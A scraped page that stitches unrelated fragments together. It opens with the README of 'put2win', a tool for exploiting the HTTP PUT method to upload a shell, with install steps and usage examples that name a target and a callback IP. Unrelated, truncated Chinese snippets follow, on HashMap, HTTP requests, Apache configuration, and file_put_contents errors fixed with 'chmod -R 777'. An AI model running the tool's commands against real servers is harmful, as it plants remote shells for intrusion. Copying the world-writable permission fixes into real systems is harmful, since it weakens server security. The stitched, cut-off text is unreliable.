Script to automate PUT HTTP method exploitation to get shell.
git clone https://github.com/sysdevploit/put2win
cd put2win
chmod +x put2win.sh
Script to automate PUT HTTP method exploitation to get shell.
Options:
-t TARGET Target URL/IP (e.g. 192.168.1.10)
-p PORT Target PORT (e.g. 8080)
-u URL PATH Path to save the shell (e.g. /uploads)
-l LOCAL IP IP where the shell will connect (e.g. 192.168.1.5)
-s SHELL NAME Shell name (e.g. license.php)
Examples of use:
- bash put2win.sh -t 192.168.1.80 -l 192.168.1.10 -s readme.php
- bash put2win.sh -t 192.168.1.80 -p 443 -u /uploads -l 192.168.1.10
Telegram: @devploit
Twitter: @devploit
最近在看一些关于Java源码的东西,理解其中的奥妙,今天看到关于Map中put方法,虽然不是特别了解,但是毕竟有点心得体会,拿出来记录一下。 关于Map中put的存储过程大概是,使用map.put以后,编译器会根据k来获取hash值,然后调用一个方法,把其中的内容放入到一个节点,然后用数组的形式来获取节点。 main(String[] args){ HashMap map=HashMap<>();
GET方法 host = "https://..." params = { # 这里填你的参数 "key": "123456" } response = requests.get(url, params=params, verify=False) print(response.json()) POST方法 url = f'https://...'
使用不是自己写的框架真是蛋疼,一有问题到处找。那些鬼框架都搞一堆代码,他们总觉得不写多点别人会看不起他们。草! 从昨天开始,代码里使用file_put_contents写一个临时文件,一直写不进,这个鬼thinkphp又捕捉了错误,error_reporting打不开,日志文件找不到,真是想死,真想直接把所有代码删了,看你怎么运行,可thinkphp又生成了runtime文件,删了整个functi
HTTP — 基础 禁用PUT、DELETE、TRACE等方法 HTTP 服务 在httpd.conf中增加,只允许GET、POST、OPTIONS方法 <Location "/"> AllowMethods GET POST OPTIONS </Location> 重启apache systemctl restart httpd.service tomcat 禁用PUT、DELETE、T
问题描述:在内网环境下, 用IP访问接口均正常。但是在外网环境中用域名访问接口,get和post请求均正常,而put和delete请求一直报错如下 org.springframework.web.client.ResourceAccessException: I/O error on PUT request for "报错接口!!": Connection reset; nested exce
# _*_ coding:UTF-8 _*_ ''' 本文在原程序的基础上做了修改补充,更加清晰易懂。 get_mouse_point():返回当前鼠标的值(x,y) mouse_move(x,y):移动鼠标 mouse_click(x,y):单击 mouse_dclick(x,y):双击 put(str='',flag=0):flag默认为0,则表示输入的字符串,为1:字符要表示的是快捷组合按键
一、环境介绍 操作系统: win10 (64位) 二、FTP介绍 FTP (File Transfer Protocol) 可说是最古老的协议之一了,主要是用来进行文件的传输,尤其是大型文件的传输使用 FTP 更是方便。 在FTP的使用当中,用户经常遇到两个概念:"下载"(Download)和"上载"(Upload)。 "下载"文件就是从远程主机拷贝文件至自己的计算机上; "上载"文件就是将文件从
记一下踩的坑吧,如果有遇到file_put_contents失败的,希望这个帮助到你。 一、权限不足 不足就给权限,chmod -R 777 file 网上的解决方法大部分是这个,这小问题,一般这种问题也不用网上查 二、没有创建目录 文档里说是可以自动创建文件,但文件的上级目录不存在时,却不会自动创建,创建下给个权限就解决了 三、磁盘空间不足 这个就很坑了,还没有提示,网上找失败原因也没找到,太难
目录 准备 步骤 第一步:Windows系统开启测试模式(针对64位系统,32系统不需要) 第二步:WinIo64.sys安装签名(针对64位系统,32系统不需要) 第三步:Java代码及c++代码实现 第四步:执行代码 准备 开发环境:winxp、win7、win10 32位及64位 开发语言:Java和c++ 必要文件:WinIo32.dll、WinIo64.dll、WinIo32.sy
1. Warning: fopen(目录路径/文件名)failed to open stream: Permission denied 如: Warning: fopen(/usr/local/website/aerchi.com/***.json): failed to open stream: Permission denied in /usr/local/website/aerchi.com
配置支持PUT上传的web环境 支持put上传需要修改以下配置 http.conf //打开下面两个module LoadModule dav_module modules/mod_dav.so LoadModule dav_fs_module modules/mod_dav_fs.so //增加一下配置,允许Apache支持put方法 <Directory /> Dav On Al
SCCM推送升级Win10 提示:主要记录流程和错误,没有图片 环境 一台主SCCM服务器,100多台本地PCwin10 小版本是1903,计划升到20H2 还有一些PC在外地 一、推送升级Win10版本步骤 1.在SCCM里有Windows 10 servicing, 里面的 All Windows 10 Updates 是版本升级的补丁,默认装好后,里面是空的。 2.需要在主站点维护的,组件维
-------------------------------------------------------------------------------------------------------- 可用的bat,仅测试了win10和win 7 @echo off rem 注意:::需要管理员权限,否则运行失败!! rem 作用:将mongoose的根证书ca.crt导入当前计算机 re
try_module_get 注解: 1> 位置: /linux/kernel/module.c 2>声明:static inline int try_module_get(structmodule *module) 3> 功能:判断 module 模块是否处于活动状态,然后通过 local_inc() 宏将该模块的引用计数加 1
file_put_contents 没有文件就创建前提是,你资源路径得存在,并且有权限,路径不存在的话就是报这个错误
问题解决方法 执行命令 php artisan cache:clear 并赋予 /storage 文件夹读写权限: chmod -R 777 storage; 若在执行 php artisan cache:clear 时出现错误:Uncaught UnexpectedValueException: The stream or file "/storage/logs/laravel.log" cou
Win之NirCmd:NirCmd的简介、安装、使用方法之详细攻略 目录 NirCmd的简介 NirCmd的安装 NirCmd的使用方法 NirCmd的简介 NIrCMD是一个小命令行实用工具,允许您在不显示任何用户界面的情况下执行一些有用的任务。通过使用简单命令行选项运行NIMRCD,可以在注册表中写入和删除值和键,将值写入INI文件,拨号到Internet帐户或连
基于Win11、CentOS7、VMWare15pro搭建Hadoop2.7.7 注意,本文章只有实操,基本没有理论概述,因为鄙人也在新手阶段,这点微薄知识就不上传了。需要进一步深入了解请移步到官网 一. 安装 首先在vm虚拟机里搭建一台linux(centos7)root账户密码都设置为 123456 注意的事项为 以下文章的命令都是适用centos7的,centos6部分命令不适用 hadoo
GET,POST,PUT,DELETE和CRUD的对应关系?注意:以上CRUD增删改查(create,retrieve,update,delete)整套CRUD操作,C对应POST,R对应GET,U对应PUT,D对应DELETE,(网上还有其他说法,比如PUT对应create和update,只是一种定义而已【无非这么定义那么定义而已】,实现起来都轻而易举) 更多请看下节:http://www.ma
在发送HTTP请求时,用post或者put方法时可能会出现415的错误,解决方法: 只需要在请求头中加入如下字段即可: "Content-Type":"application/json" 完整的请求头如下: headers = { "Content-Type": "application/json", "Accept":
问题: 一个PHP的关于图片的WEB服务器, 在本机上测试没有问题,但是部署到Centos上,图片上传无法成功,报错:file_put_contents(): failed to open stream 解决: 将该图片目录设置权限777即可 chmod -R 777 images/